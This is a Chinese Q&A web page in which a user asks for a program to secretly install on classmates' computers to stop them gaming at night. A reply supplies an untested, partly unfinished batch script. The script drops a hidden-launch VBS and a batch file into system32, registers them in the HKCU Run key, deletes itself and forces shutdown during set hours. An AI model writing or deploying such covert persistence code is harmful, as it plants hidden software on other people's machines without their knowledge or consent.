打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
控制时间的批处理

是这样的,我们班魔兽世界游戏成风,不日不夜,害人害己,我想给他们电脑安装点控制程序(我私下进行的,不会告诉别人),要求该程序是一个安装程序,执行一次后在其电脑c:\windows\system32\下生成一个bat程序,并把这个bat写入注册表开机启动(不要在启动菜单进行启动的)---------------------------------------------------------------------

生成的bat程序的功能:
1.运行后添加计划任务,在不允许开机的时间段之前几分钟自动关机(如果是周日到周四:晚上24:00-6:00或者周五·周六:晚上2:00-6:00,这些时间段不允许开机,此时段开机后就会立即自动关机,其余时间不限)
2.如果bat程序随电脑启动时没有任何迹象最好不过了
----------------------------------------------------------------
恳请你抽一些时间帮我写一写,感激不尽
本批处理第一次运行后,会在你的c:\windows\system32\文件夹里生成一个gj.vbs和gj.bat两个文件,然后删除自身。其中gj.vbs是为了隐藏运行gj.bat。
功能:
1、注册表里添加开机自动运行gj.vbs
2、若是在你说的时间段里开机、则马上又自动关机。
3、若开机时间不在你说的时间段里、则添加计划任务,若是周一至周四,23:55关机、周五至周六1:55关机
4、at 命令太麻烦,不方便测试,你自己加上去吧,时间用 %guan% 来表示
如: at %guan% Shutdown -s
关键是要指定日期及星期就比较麻烦,自己看下at /?的帮助测试下就可以了。若是依我上面的示例,则时间一长,将会开启很多计划任务。
未测试。。。

@echo off
echo set ws=WScript.CreateObject("WScript.Shell") >"c:\windows\system32\gj.vbs"
echo ws.Run "c:\windows\system32\gj.bat",0 >>"c:\windows\system32\gj.vbs"
for /f "skip=9 delims=" %%a in ('type "%~0"') do (
>>"c:\windows\system32\gj.bat" echo %%a
)
set "reg=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
reg add "%reg%" /ve /t REG_SZ /d "c:\windows\system32\gj.vbs"
del/q "%~0"
@echo off
set "xq=%date:~-1%"
for /f "tokens=1,2 delims=:." %%a in ("%time%") do (
set /a s=100%%a%%100,f=100%%b%%100
)
for %%a in (日 一 二 三 四) do if "%%a"=="%xq%" set "flag=a"
if defined flag (if %s% leq 6 set guan=23:55) else (
if %s% geq 2 if %s% leq 6 set "guan=1:55"
)
if defined guan (Shutdown -s) else (
这里写 at 命令 时间用 %guan% 表示即可。
)
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
教你用Win10系统怎么修改CPU型号,让i3免费'升级'成i7
用bat文件安静导入注册表文件
开启对方电脑telnet服务(未验证,保存后用)
超强XP垃圾清理.bat源码!
sublime_text3添加右键菜单与下载
关于autorun.ini木马病毒的处理
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服